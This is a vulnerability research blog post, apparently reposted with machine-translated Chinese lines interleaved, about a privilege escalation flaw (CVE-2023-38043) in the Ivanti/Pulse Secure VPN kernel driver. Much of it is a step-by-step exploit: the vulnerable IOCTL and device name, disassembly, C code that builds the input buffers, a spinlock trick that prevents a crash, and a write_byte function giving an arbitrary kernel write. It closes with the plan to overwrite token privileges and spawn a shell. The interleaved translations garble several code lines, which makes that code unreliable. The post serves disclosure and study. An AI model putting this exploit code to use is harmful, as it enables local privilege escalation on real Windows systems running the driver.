Ivanti/Pulse VPN Privilege Escalation Exploit

渗透技巧 4个月前 admin
353 0 0

Ivanti/Pulse VPN Privilege Escalation Exploit

Northwave has identified several vulnerabilities (CVE-2023-38043CVE-2023-35080CVE-2023-38543) in Ivanti Secure Access VPN, previously known as Pulse Secure VPN. The vpn software is used by more than 40.000 organisations world-wide to connect securely to company servers. In this blog we delve deeper into the main vulnerability and how we, despite the many obstacles we faced, managed to exploit it to obtain elevated privileges.
Northwave 已发现 Ivanti Secure Access VPN(以前称为 Pulse Secure VPN)中的多个漏洞(CVE-2023-38043、CVE-2023-35080、CVE-2023-38543)。全球超过 40.000 个组织使用 vpn 软件安全地连接到公司服务器。在这篇博客中,我们深入探讨了主要漏洞,以及尽管我们面临许多障碍,我们如何设法利用它来获得提升的权限。

We came across the installer and driver of the software during a red teaming engagement. The installer, during installation, drops a kernel driver to disk and installs it (disabled by default). If enabled, the kernel driver creates a device which is readable and writable by any user on the system, a very interesting target to look at from an exploitation perspective. Accessible devices, like this one, are abusable by (low-privileged) users on a system to potentially corrupt the kernel or, like in this case, lead to full privilege escalation. While not trivial, today we would like to show you how you could take advantage of such a driver and how we paved a path to privilege escalation from just 1 inconspicuous kernel API call, called with arguments the user can influence.
我们在一次红队参与中遇到了该软件的安装程序和驱动程序。在安装过程中,安装程序会将内核驱动程序拖放到磁盘并安装它(默认情况下禁用)。如果启用,内核驱动程序将创建一个设备,该设备可由系统上的任何用户读取和写入,从漏洞利用的角度来看,这是一个非常有趣的目标。可访问的设备(如此类设备)可被系统上的(低权限)用户滥用,以潜在地损坏内核,或者像本例中一样,导致完全权限提升。虽然不是微不足道的,但今天我们想向你展示如何利用这样的驱动程序,以及我们如何从仅 1 个不显眼的内核 API 调用(使用用户可以影响的参数调用)为权限提升铺平道路。

If you want to understand how we protect our customers, or what you can do to protect your organisation against these vulnerabilities, please refer to our Threat Response.
如果您想了解我们如何保护客户,或者您可以采取哪些措施来保护您的组织免受这些漏洞的侵害,请参阅我们的威胁响应。

Vulnerability 脆弱性

Many kernel drivers come with a callback named IRP_MJ_DEVICE_CONTROL. This callback is often used for configuring or otherwise interacting with the driver by a user-mode component of the software package. This callback is accessible to the user-mode component through an API call called DeviceIoControl, but only if the driver hasn’t put access restrictions on the driver object. It is the case here that we have a driver that exposes this callback to any user and it is inside the code of the callback where we will find the vulnerability.
许多内核驱动程序都带有一个名为 IRP_MJ_DEVICE_CONTROL 的回调。此回调通常用于通过软件包的用户模式组件配置驱动程序或以其他方式与驱动程序交互。用户模式组件可以通过名为 DeviceIoControl 的 API 调用访问此回调,但前提是驱动程序尚未对驱动程序对象施加访问限制。这里的情况是,我们有一个驱动程序将此回调公开给任何用户,并且在回调的代码中,我们将在其中找到漏洞。

Vulnerable IOCTL 易受攻击的 IOCTL

The vulnerable function inside of IRP_MJ_DEVICE_CONTROL is the one called using the IOCTL number 0x80002018. Let’s zoom in on only the code that is part of the logic for handling that ioctl:
IRP_MJ_DEVICE_CONTROL 内部的易受攻击的函数是使用 IOCTL 编号 0x80002018调用的函数。让我们仅放大作为处理该 ioctl 的逻辑的一部分的代码:

Ivanti/Pulse VPN Privilege Escalation Exploit

In the screenshot the following important steps are taken:
在屏幕截图中,采取了以下重要步骤:

  1. A pointer to input passed from user-mode is loaded (systembuffer)
    加载指向从用户模式传递的输入的指针 (systembuffer)
  2. The first value inside that input is taken as a pointer to a driver specific struct
    该输入中的第一个值被视为指向特定于驱动程序的结构的指针
  3. A pointer at offset +28h inside that struct is loaded
    加载该结构内偏移量 +28h 处的指针
  4. A pointer to offset +50h inside of the memory that that last pointer is pointing to is passed to the kernel API IoCsqRemoveIrp
    指向最后一个指针指向的内存内偏移量 +50h 的指针将传递给内核 API IoCsqRemoveIrp

In addition to that we also control the second argument provided to that API call, which is located in RDX.
除此之外,我们还控制提供给该 API 调用的第二个参数,该参数位于 RDX 中。

IoCsqRemoveIrp is actually a fairly simple kernel function that uses pointers to functions (callbacks) that are kept inside of an object to remove an IRP from a queue. The pointers that are used to perform this are contained within the first argument passed to the API. Yes, that first argument, the argument we have control over. Let’s have a look at the function itself:
IoCsqRemoveIrp 实际上是一个相当简单的内核函数,它使用指向保存在对象内部的函数(回调)的指针从队列中删除 IRP。用于执行此操作的指针包含在传递给 API 的第一个参数中。是的,第一个论点,我们可以控制的论点。让我们看一下函数本身:

Ivanti/Pulse VPN Privilege Escalation Exploit

We control both RCX and RDX, as shown above. Inside the function there are multiple places where a pointer gets loaded from the first argument and subsequently passed to _guard_dispatch_icall. For all intents and purposes this function just calls whatever is in RAX, with the very big limitation that the pointer inside of RAX should be a the start of a valid function part of the kernel image. You cannot call shellcode or non-kernel-image functions with this.
如上所示,我们同时控制 RCX 和 RDX。在函数内部,指针从第一个参数加载并随后传递给_guard_dispatch_icall。出于所有意图和目的,此函数仅调用 RAX 中的任何内容,但有一个非常大的限制,即 RAX 内部的指针应该是内核映像的有效函数部分的开始。不能用它调用 shellcode 或非内核映像函数。

Constraints 约束

In theory the above vulnerability allows any user to now easily call any kernel function from user-mode. Alas, it is hardly ever that easy to go from a vulnerability to an exploit! In the case of this driver we are faced with a lot of limiting factors (constraints) in what we can do. There’s 3 big constraints:
从理论上讲,上述漏洞允许任何用户现在轻松地从用户模式调用任何内核函数。唉,从漏洞到漏洞利用从来都不是那么容易!在这个驱动程序的情况下,我们在可以做的事情上面临着许多限制因素(约束)。有 3 大限制:

Constraint 1 – Guaranteed bluescreen
约束 1 – 保证蓝屏

At the end of the code for handling the vulnerable ioctl a call to ExFreePoolWithTag (essentially a free()) is done to free the pointer that was passed from user-mode:
在用于处理易受攻击的 ioctl 的代码末尾,将调用 ExFreePoolWithTag(实质上是 free())以释放从用户模式传递的指针:

Ivanti/Pulse VPN Privilege Escalation Exploit

This function requires a valid kernel pointer to a previously allocated memory area, something we cannot easily obtain as a regular user. Even if we were able to obtain a valid pointer, which we technically can, freeing it would have a very high chance of causing instability and corruption in the kernel. Not ideal.
这个函数需要一个有效的内核指针,指向以前分配的内存区域,这是我们作为普通用户不容易获得的。即使我们能够获得一个有效的指针(从技术上讲,我们可以),释放它也很有可能导致内核不稳定和损坏。不理想。

Constraint 2 – Heavily limited argument control
约束 2 – 参数控制受到严格限制

While we have great control over the arguments passed to IoCsqRemoveIrp, we don’t actually have great control over the parameters that are passed to the function called inside of it using _guard_dispatch_icall. Let’s take another look at the function:
虽然我们可以很好地控制传递给 IoCsqRemoveIrp 的参数,但我们实际上无法控制使用 _guard_dispatch_icall 传递给其中调用的函数的参数。让我们再看一下函数:

Ivanti/Pulse VPN Privilege Escalation Exploit

The arguments to the first call are the following:
第一次调用的参数如下:

1.1 rcx – is a pointer to a memory area that we use to store the function pointers inside of
1.1 rcx – 是指向内存区域的指针,我们用它来存储

1.2 rdx – is a pointer to an area on the function stack, we have no control over this.
1.2 rdx – 是指向函数堆栈上某个区域的指针,我们无法控制它。

The arguments to the second call are the following:
第二次调用的参数如下:

2.1 rcx – is a pointer to a memory area that we use to store the function pointers inside of
2.1 rcx – 是指向内存区域的指针,我们用它来存储

2.2 rdx – is a value loaded from a memory area we control
2.2 rdx – 是从我们控制的内存区域加载的值

The arguments to the third call are the following:
第三次调用的参数如下:

3.1 rcx – is a pointer to a memory area that we use to store the function pointers inside of
3.1 rcx – 是指向内存区域的指针,我们用它来存储

3.2 rdx – is once again a pointer to an area on the stack, we have no control over this.
3.2 rdx – 再次指向堆栈上某个区域的指针,我们无法控制它。

r8 (the third argument passed to the functions) is not shown inside this function, but upon entering this function it holds the value of the ioctl (0x80002018).
r8 (传递给函数的第三个参数) 未显示在此函数中,但在输入此函数时,它保存 ioctl (0x80002018) 的值。

As you can see all the arguments except for the second argument to the second function call (2.2) are all arguments we have no or very minimal control over. Great vulnerability in theory, but in practice it looks almost impossible to exploit.
正如你所看到的,除了第二个函数调用的第二个参数(2.2)之外,所有参数都是我们没有或非常少的控制。理论上有很大的漏洞,但在实践中,它看起来几乎不可能被利用。

In addition to the arguments, another downside of this function is that we have to call all three functions successfully or it will result in a system crash.
除了参数之外,此函数的另一个缺点是我们必须成功调用所有三个函数,否则将导致系统崩溃。

Constraint 3 – Guarded calls
约束 3 – 受保护的呼叫

The third limiting factor is that the function pointers aren’t called directly, but instead are called through _guard_dispatch_icall. This is a defensive measure implemented by microsoft to limit the ability to call just any pointer (pointing to shellcode). And to great success! Because of it we are limited to calling just functions part of the ntoskrnl.exe image. Is it even possible to find three functions inside of ntoskrnl.exe that accept our limited arguments without crashing? Let alone exploiting it?!
第三个限制因素是函数指针不是直接调用的,而是通过_guard_dispatch_icall调用的。这是 Microsoft 实施的一项防御措施,用于限制仅调用任何指针(指向 shellcode)的能力。并取得了巨大的成功!因此,我们只能调用 ntoskrnl.exe 映像的函数部分。是否有可能在 ntoskrnl.exe 中找到三个接受我们有限参数而不会崩溃的函数?更不用说利用它了?!

Writing The Exploit 编写漏洞利用

Of course it’s possible. Let’s walk through the steps we took to write a proof of concept exploit and introduce you to some of the neat tricks we used on the way.
当然有可能。让我们来看看我们编写概念验证漏洞所采取的步骤,并向您介绍我们在此过程中使用的一些巧妙技巧。

Bluescreen bypass 蓝屏旁路

The first thing that requires attention is the guaranteed bluescreen. Even if we successfully exploit the vulnerability, it is no use if it bluescreens right after. Above we mentioned the bluescreen originates from a call to ExFreePoolWithTag after the call to IoCsqRemoveIrp. We have control over three function calls before the bluescreen, of which the first two we would prefer to use for the exploit itself. So, we are left with just the last function call to try and fix a bluescreen with. A function call that has to be to a kernel api and has very tight argument restrictions where the only argument we can minimally control is the first one.
首先需要注意的是有保证的蓝屏。即使我们成功利用了该漏洞,如果它立即蓝屏,也是没有用的。上面我们提到蓝屏源自调用 IoCsqRemoveIrp 后对 ExFreePoolWithTag 的调用。我们可以控制蓝屏之前的三个函数调用,其中前两个我们更愿意用于漏洞利用本身。因此,我们只剩下最后一个函数调用来尝试修复蓝屏。一个函数调用,必须是内核 API,并且具有非常严格的参数限制,其中我们唯一可以最低限度控制的参数是第一个参数。

Yeah, this one was a real thinker. After a good while we theorized that the only realistic way to stop it from bluescreening is by not allowing execution to continue after the last function call. How can we do that without crashing the system ourselves? Synchronization and locking functions. What if we could provide a locked object to a kernel synchronization function and have it lock the entire thread until eternity, never allowing it to reach the ExFreePoolWithTag?
是的,这是一个真正的思想家。过了好一会儿,我们推测,阻止它蓝屏的唯一现实方法是不允许在最后一次函数调用后继续执行。我们如何才能在不使系统崩溃的情况下做到这一点?同步和锁定功能。如果我们能为内核同步函数提供一个锁定的对象,并让它锁定整个线程直到永恒,永远不允许它到达 ExFreePoolWithTag,那会怎样?

Let’s dive into the kernel and start searching the symbols for possible locking functions. Now let’s dive into that list of functions and see if there’s a function that is nice enough to accept just one argument that is a pointer. There you are, KxWaitForSpinLockAndAcquire! Just in time to save us.
让我们深入研究内核,开始在符号中搜索可能的锁定函数。现在让我们深入研究该函数列表,看看是否有足够好的函数可以只接受一个作为指针的参数。你来了,KxWaitForSpinLockAndAcquire!正好赶上救了我们。

Ivanti/Pulse VPN Privilege Escalation Exploit

This function takes the pointer in the RCX argument and loads 8 bytes from the start of the memory it is pointing to. It the checks if that value is non-zero. If it is, it performs a loop and checks again, looping until it is zero. The RCX argument passed to this function is the same RCX argument that was passed to the IoCsqRemoveIrp earlier:
此函数采用 RCX 参数中的指针,并从它指向的内存的开头加载 8 个字节。它检查该值是否为非零。如果是,它会执行一个循环并再次检查,循环直到它为零。传递给此函数的 RCX 参数与之前传递给 IoCsqRemoveIrp 的 RCX 参数相同:

Ivanti/Pulse VPN Privilege Escalation Exploit

The memory RCX is pointing to is used inside of that function, luckily for us the first 0x10 bytes of that memory are unused. Thus, we can set the first 8 bytes to a non-zero value and call KxWaitForSpinLockAndAcquire last to lock the thread.
RCX 指向的内存在该函数内部使用,幸运的是,该内存的前 0x10 个字节未使用。因此,我们可以将前 8 个字节设置为非零值,并最后调用 KxWaitForSpinLockAndAcquire 来锁定线程。

For those of you trying this at home, you’ll notice that this isn’t ideal. Locking a thread in the kernel into an infinite loop makes your computer crawl to a halt after 2 or 3 goes. Thankfully we found a fix for that as well. Windows lets us set how much attention a cpu should give to a given thread using thread priorities. If the priority is the lowest, pretty much any other thread on the system is given precedence over this thread stopping any slowdown. You can do this by calling the SetThreadPriority() API on the user-mode thread that you use for calling the driver with the THREAD_PRIORITY_LOWEST parameter.
对于那些在家尝试的人来说,您会注意到这并不理想。将内核中的线程锁定到无限循环中会使计算机在 2 或 3 次运行后停止。值得庆幸的是,我们也找到了解决这个问题的方法。Windows 允许我们使用线程优先级来设置 CPU 应该对给定线程给予多少关注。如果优先级最低,则系统上几乎任何其他线程都优先于此线程,从而阻止任何速度变慢。为此,可以在用于调用带有 THREAD_PRIORITY_LOWEST 参数的驱动程序的用户模式线程上调用 SetThreadPriority() API。

Reaching the vulnerable code
访问易受攻击的代码

Now that we have a way to prevent us from bluescreening the system, we can start preparing the IOCTL’s input buffer to target the other two function calls that we control. Let’s start with setting up the input buffer with the right values to reach the IoCsqRemoveIrp call. The following instructions perform relevant operations on the input buffer that we have to take into consideration:
现在,我们有了一种方法来防止对系统进行蓝屏筛选,我们可以开始准备 IOCTL 的输入缓冲区,以针对我们控制的其他两个函数调用。让我们从使用正确的值设置输入缓冲区开始,以到达 IoCsqRemoveIrp 调用。以下指令对我们必须考虑的输入缓冲区执行相关操作:

// SystemBuffer is loaded from IRP at the start
SystemBuffer 在开始时从 IRP 加载

+0x99D4     mov     rbx, [rdx+18h]
+0x99D4 移动 RBX, [RDX+18H]


// First 8 bytes of the input buffer to the IOCTL are
IOCTL 输入缓冲区的前 8 个字节是

// interpreted as a pointer to a buffer. This pointer
解释为指向缓冲区的指针。此指针

// is loaded and checked if it’s NULL
已加载并检查它是否为 NULL

+0x9FA3     mov     rsi, [rbx] +0x9FA3 MOV RSI, [RBX]
+0x9FA6     test    rsi, rsi +0x9FA6 测试 RSI、RSI

// From the buffer, pointed to by the pointer loaed
从缓冲区,指针指向厌恶

// above, it loads 2 more pointers at offsets +0x30
上面,它在偏移量 +0x30 处加载了 2 个指针

// and +0x28. It then confirms if the pointer at
和 +0x28。然后,它确认指针是否位于

// +0x30 is NULL or not
+0x30 是否为 NULL

+0x9FDA     mov     rdx, [rsi+30h]
+0x9FDA MOV RDX, [RSI+30h]

+0x9FDE     mov     r15, [rsi+28h]
+0x9FDE MOV R15, [RSI+28小时]

+0x9FE2     test    rdx, rdx +0x9FE2 测试 RDX、RDX

// Lastly it passes a pointer to offset +0x50, in the
最后,它传递一个指向偏移量 +0x50 的指针,在

// buffer r15 is pointing to, as the first argument to
缓冲区 r15 指向,作为

// the vulnerable function. It passes the pointer loaded
易受攻击的功能。它传递加载的指针

// from offset +0x28 as the second argument to the function
from offset +0x28 作为函数的第二个参数

+0x9FEB     lea     rcx, [r15+50h]
+0x9FEB LEA RCX, [R15+50小时]

+0x9FEF     call    cs:IoCsqRemoveIrp
+0x9FEF调用 cs:IoCsqRemoveIrp

Knowing this we can write a bit of code that will satisfy all of the above:

#define VULN_IOCTL  0x80002018
#define DEVICE_NAME “\\\\.\\GlobalRoot\\Device\\jnprva”
#define DEVICE_NAME“\\\\.\\GlobalRoot\\Device\\jnprva”


size_t returned_bytes;
uint64_t *input_buffer      = calloc(0x100, 1);
uint64_t *input_buffer = calloc(0x100, 1);

uint64_t *initial_buffer    = calloc(0x100, 1);
uint64_t *initial_buffer = calloc(0x100, 1);

uint64_t *buff_28h          = calloc(0x100, 1);
uint64_t *buff_28h = calloc(0x100, 1);

uint64_t *buff_30h          = calloc(0x100, 1);
uint64_t *buff_30h = calloc(0x100, 1);


input_buffer[0]                         = initial_buffer;
initial_buffer[0x28 / sizeof(void *)]   = buff_28h;
initial_buffer[0x28 / sizeof(void *)] = buff_28h;

initial_buffer[0x30 / sizeof(void *)]   = buff_30h;
initial_buffer[0x30 / sizeof(void *)] = buff_30h;


HANDLE hdev = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, 0,NULL);
处理 hdev = CreateFile(DEVICE_NAME, GENERIC_READ |GENERIC_WRITE、NULL、NULL、OPEN_EXISTING、0、NULL);

DeviceIoControl(hdev, VULN_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);
DeviceIoControl(hdev, VULN_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);

Compiling the above, putting a breakpoint on the call toIoCsqRemoveIrp at jnprva+0x9FEF in windbg, and executing the compiled executable, we can see our breakpoint getting hit. This confirms that we are able to reach the vulnerable area of the code:
编译上述内容,在 windbg 中 jnprva+0x9FEF 处对 IoCsqRemoveIrp 的调用上放置一个断点,并执行编译的可执行文件,我们可以看到我们的断点被命中。这证实了我们能够到达代码的易受攻击区域:

Ivanti/Pulse VPN Privilege Escalation Exploit

Controlling IoCsqRemoveIrp
控制 IoCsqRemoveIrp

Next we have to perpare our input to satisfy all checks inside of IoCsqRemoveIrp and executes all three functions without crashing. Doing the same as above, we write out all the instructions that are performed on our input and match the required input in our c file:
接下来,我们必须修改我们的输入以满足 IoCsqRemoveIrp 中的所有检查,并在不崩溃的情况下执行所有三个函数。与上面相同,我们写出对输入执行的所有指令,并与 c 文件中所需的输入匹配:

//
//  RCX argument RCX 参数
//

// First function call pointer
第一个函数调用指针

mov     rax, [rcx+20h] MOV RAX,[RCX+20H]

and     qword ptr [rcx+38h], 0
和 QWORD PTR [rcx+38h],0

mov     rbx, rcx MOV RBX、RCX

// Second function call pointer
第二个函数调用指针

mov     rax, [rbx+10h] MOV RAX,[RBX+10H]

// Third function call pointer
第三个函数调用指针

mov     rax, [rbx+28h] MOV RAX,[RBX+28H]

/*
 *  RDX argument * RDX 参数
 */
mov     rsi, rdx MOV RSI、RDX
mov     rdi, [rsi+8] MOV RDI,[RSI+8]
test    rdi, rdi            // Needs to be a pointer to a buffer
test rdi, rdi // 需要是指向缓冲区的指针


xchg    rax, [rdi+68h] XCHG RAX,[RDI+68H]
test    rax, rax            // Needs to be non-zero
test rax, rax // 需要为非零


and     qword ptr [rdi+90h], 0
和 QWORD PTR [RDI+90H],0

and     qword ptr [rsi+8], 0
和 QWORD PTR [RSI+8],0

We can add the following lines to our c file:

buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = /* First function pointer */;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = /* 第一个函数指针 */;

buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = /* Second function pointer */;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = /* 第二个函数指针 */;

buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = /* Third function pointer */;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = /* 第三个函数指针 */;


uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);
uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);


iocsq_rsi_plus_8h[(0x68 / sizeof(uint64_t))] = 1;
iocsq_rsi_plus_8h[(0x68 / 大小(uint64_t))] = 1;


buff_30h[(0x08 / sizeof(uint64_t))]          = iocsq_rsi_plus_8h;
buff_30h[(0x08 / 大小(uint64_t))] = iocsq_rsi_plus_8h;

buff_30h[(0x68 / sizeof(uint64_t))]          = 1;
buff_30h[(0x68 / 大小(uint64_t))] = 1;

Next, before we try to perform anything malicious, we have to confirm we can actually perform the thread lock up that we theorized above. To achieve this we set up the first 2 function pointers with pointers to a kernel function that is harmless and doesn’t crash. Ideally a function that takes no arguments. We went with HalMakeBeep. The last function pointer to lock up the thread will be KxWaitForSpinLockAndAcquire, as described above.
接下来,在我们尝试执行任何恶意操作之前,我们必须确认我们实际上可以执行我们上面理论的线程锁定。为了实现这一点,我们设置了前 2 个函数指针,其中包含指向无害且不会崩溃的内核函数的指针。理想情况下,一个不带参数的函数。我们选择了 HalMakeBeep。如上所述,锁定线程的最后一个函数指针将是 KxWaitForSpinLockAndAcquire。

We add the following to our c file:
我们将以下内容添加到我们的 c 文件中:

/*
 *  WARNING: Keep in mind these offsets are valid only for the kernel
* 警告:请记住,这些偏移量仅对内核有效

 *           version that I’m targeting during testing.
* 我在测试期间针对的版本。

 */
#define BEEP_OFFSET 0x4b8c60
#define SPIN_OFFSET 0x361fe0

uint8_t *ntoskrnl_base = get_kernelbase();
uint8_t *ntoskrnl_base = get_kernelbase();

buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = ntoskrnl_base + BEEP_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x20 / 大小(uint64_t))] = ntoskrnl_base + BEEP_OFFSET;

buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = ntoskrnl_base + BEEP_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x10 / 大小(uint64_t))] = ntoskrnl_base + BEEP_OFFSET;

buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = ntoskrnl_base + SPIN_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x28 / 大小(uint64_t))] = ntoskrnl_base + SPIN_OFFSET;

Lastly we have to not forget to pass a locked spinlock object to KxWaitForSpinLockAndAcquire to make it lock up the thread. In the case of the third function call, the first argument (in RCX) points to our buff_28h buffer at an offset of +0x50. The spin lock value can be any non-zero value, but a simple 1 will do. This gives us one more line to add:
最后,我们不能忘记将锁定的自旋锁对象传递给 KxWaitForSpinLockAndAcquire,以使其锁定线程。在第三个函数调用的情况下,第一个参数(在 RCX 中)指向偏移量为 +0x50 的 buff_28h缓冲区。自旋锁值可以是任何非零值,但简单的 1 就可以了。这给了我们一行要添加的:

buff_28h[(0x50 / sizeof(uint64_t))] = 1;
buff_28h[(0x50 / 大小(uint64_t))] = 1;

Putting it all together and executing it should let you run the exploit without crashing the system. In addition to that you should be able to see the calls to HalMakeBeep and KxWaitForSpinLockAndAcquire inside of the debugger.
将它们放在一起并执行它应该可以让您在不使系统崩溃的情况下运行漏洞利用。除此之外,你应该能够在调试器中看到对 HalMakeBeep 和 KxWaitForSpinLockAndAcquire 的调用。

Write What Where 在哪里写什么

Having a working exploit that can call two functions before locking itself is great, but we’re still a long way off an actual exploit. Next we will work towards getting a write-what-where primitive using the previous code as a base.
拥有一个可以在锁定自身之前调用两个函数的工作漏洞是很棒的,但我们离实际的漏洞还有很长的路要走。接下来,我们将努力使用前面的代码作为基础来获得一个写什么在哪里的原语。

As discussed in the Constraints section, we have very limited control over the arguments passed to the first and second function. The first function in particular has little to no useful input to play around with. For this reason we limited our exploitation efforts on just the second function call. As mentioned in the constraints section, the following arguments are passed to the second function call:
正如在约束部分所讨论的,我们对传递给第一个和第二个函数的参数的控制非常有限。特别是第一个函数几乎没有有用的输入可供使用。出于这个原因,我们将开发工作限制在第二个函数调用上。如约束部分所述,以下参数将传递给第二个函数调用:

  • RCX – Is always a pointer to the buffer going into each 3 of the kernel function pointer calls. This pointer points to the buffer holding our function pointers starting at offset +0x10 as well as our spinlock object in the first 8 bytes. This gives us nearly no realistic space to play around with.
  • RDX – This is a pointer to a memory area that we control that was passed into IoCsqRemoveIrp from the user-mode input buffer.
  • R8 – The third argument. This register’s value is always set to the IOCTL code of 0x80002018 and as such pretty much unusable. Not only that, it actually almost always prevents us from calling any function with 3 or more arguments. Furthermore, R8 is often used inside of kernel api functions. If we want to use it, we have to be very careful with selecting functions that are called before the second one as it may alter the state of R8.

Converting this single heavily constrained call to a meaningful exploit primitive was a challenge to say the least. After a hefty bit of searching and trial and error, looking for creative ways of escaping the constraints, we identified a pair of functions called write_char_0 and write_char_1 🚀 (names vary between kernel versions):

Ivanti/Pulse VPN Privilege Escalation Exploit

Unlike most functions that deal with reading from buffers or writing to buffers, these functions take a pointer to a pointer to an area of memory as the second argument. This just so happens to be exactly the argument we have the most control over, nice! In addition to that, the first argument is a 1 or 2 byte integer that is written to that address and r8 is a pointer to a counter variable.
与处理从缓冲区读取或写入缓冲区的大多数函数不同,这些函数将指向内存区域的指针作为第二个参数。这恰好是我们最能控制的论点,很好!除此之外,第一个参数是写入该地址的 1 或 2 字节整数,r8 是指向计数器变量的指针。

Great luck on getting a function that makes great use of the second argument, but the first and third argument don’t exactly match the arguments that we can provide to it. The first argument we pass to the function is a pointer, while it expects an integer. The third argument we pass to the function is an integer (the IOCTL value of 0x80002018), while it expects a pointer. No stress, we can fix this.
很幸运地得到了一个充分利用第二个参数的函数,但第一个和第三个参数与我们可以提供给它的参数并不完全匹配。我们传递给函数的第一个参数是一个指针,而它需要一个整数。我们传递给函数的第三个参数是一个整数(IOCTL 值为 0x80002018),而它需要一个指针。没有压力,我们可以解决这个问题。

Making the first argument not only function as a pointer but also hold the byte or word value, in its lowest 2 bytes, that we want to write is possible. We just make the pointer start at an offset that equals the byte or word we want to write in its lowest 2 bytes. We can use the following code to do that:

uint64_t *buff_28h = ((uint8_t *)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) + 0x100 + /*byte we want to write*/ – 0x50;

The argument in R8 is expected to be an accessible pointer, but we provide a static integer 0x80002018. Luckily for us, this value is also a valid user-mode memory address on 64-bit and as such we can map it:

VirtualAlloc(0x80002018, 4096 * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

With control over all the arguments, it is now possible to call this function and provide it a pointer to anywhere in memory and write a byte there. Implementing all the previous research into a function that writes a byte in kernel through the Ivanti vpn driver:

struct byte_ver
{
    HANDLE hdev; 处理 hdev;
    uint64_t target; uint64_t目标;
    uint8_t  byte; uint8_t字节;
};

void 无效
write_byte(struct byte_ver *bv)
write_byte(结构体 byte_ver *bv)

{
    size_t returned_bytes;
    uint64_t *input_buffer      = calloc(0x100, 1);
uint64_t *input_buffer = calloc(0x100, 1);

    uint64_t *initial_buffer    = calloc(0x100, 1);
uint64_t *initial_buffer = calloc(0x100, 1);

    uint64_t *buff_30h          = calloc(0x100, 1);
uint64_t *buff_30h = calloc(0x100, 1);

    uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);
uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);


    /*
     *  Configuring the pointer to hold the byte we want to write
     *  in the LSB. -0x50 at the end to compensate for the +0x50
     *  that is done inside the driver code
* 在驱动程序代码中完成

     */
    uint64_t *buff_28h = ((uint8_t *)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) + 0x100 + bv->byte – 0x50;
uint64_t *buff_28h = ((uint8_t *)VirtualAlloc(NULL, 0x1000, MEM_COMMIT |MEM_RESERVE, PAGE_EXECUTE_READWRITE)) + 0x100 + BV->byte – 0x50;


    input_buffer[0]                             = initial_buffer;
    initial_buffer[0x28 / sizeof(uint64_t)]     = buff_28h;
initial_buffer[0x28 / 大小(uint64_t)] = buff_28h;

    initial_buffer[0x30 / sizeof(uint64_t)]     = buff_30h;
initial_buffer[0x30 / sizeof(uint64_t)] = buff_30h;


    iocsq_rsi_plus_8h[0]                        = bv->target;
iocsq_rsi_plus_8h[0] = bv->目标;

    iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)]  = 1;
iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)] = 1;

    iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)]  = 1; // Required to pass a check in write_char_0
iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)] = 1;需要通过签到write_char_0

    iocsq_rsi_plus_8h[0x08 / sizeof(uint64_t)]  = 0x1000; // Required to pass a check in write_char_0
iocsq_rsi_plus_8h[0x08 / 大小(uint64_t)] = 0x1000;需要通过签到write_char_0


    buff_30h[(0x08 / sizeof(uint64_t))]         = iocsq_rsi_plus_8h;
buff_30h[(0x08 / 大小(uint64_t))] = iocsq_rsi_plus_8h;

    buff_28h[(0x50 / sizeof(uint64_t))]         = 1; // Locked spin lock object
buff_28h[(0x50 / 大小(uint64_t))] = 1;锁定的旋转锁定对象


    /*
     *  Setting Function pointers
* 设置功能指针

     */
    buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = NTOSKRNL_BASE + TEST_SPIN_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x20 / 大小(uint64_t))] = NTOSKRNL_BASE + TEST_SPIN_OFFSET;

    buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = NTOSKRNL_BASE + WRITE_BYTE_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x10 / 大小(uint64_t))] = NTOSKRNL_BASE + WRITE_BYTE_OFFSET;

    buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = NTOSKRNL_BASE + SPIN_OFFSET;
buff_28h[(0x50 / 大小(uint64_t)) + (0x28 / 大小(uint64_t))] = NTOSKRNL_BASE + SPIN_OFFSET;


    DeviceIoControl(bv->hdev, VULN_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);
DeviceIoControl(bv->hdev, VULN_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);


    printf(“This printf will never execute, unless we manually lift and fix the spinlock\n”);
printf(“除非我们手动解除并修复旋转锁,否则此 printf 永远不会执行\n”);

}

Escalating privileges 提升权限

What’s a vulnerability without a full PoC exploit. Now that we have a write-what-where primitive we are pretty much golden. There is a sufficient selection of methods you can use to move from a write-what-where to full escalation of privileges, some more cumbersome than others. For this proof of concept we elected to go with the road of least resistance: overwriting the attacking process’ enabled and present privileges in the token object and spawning a shell.
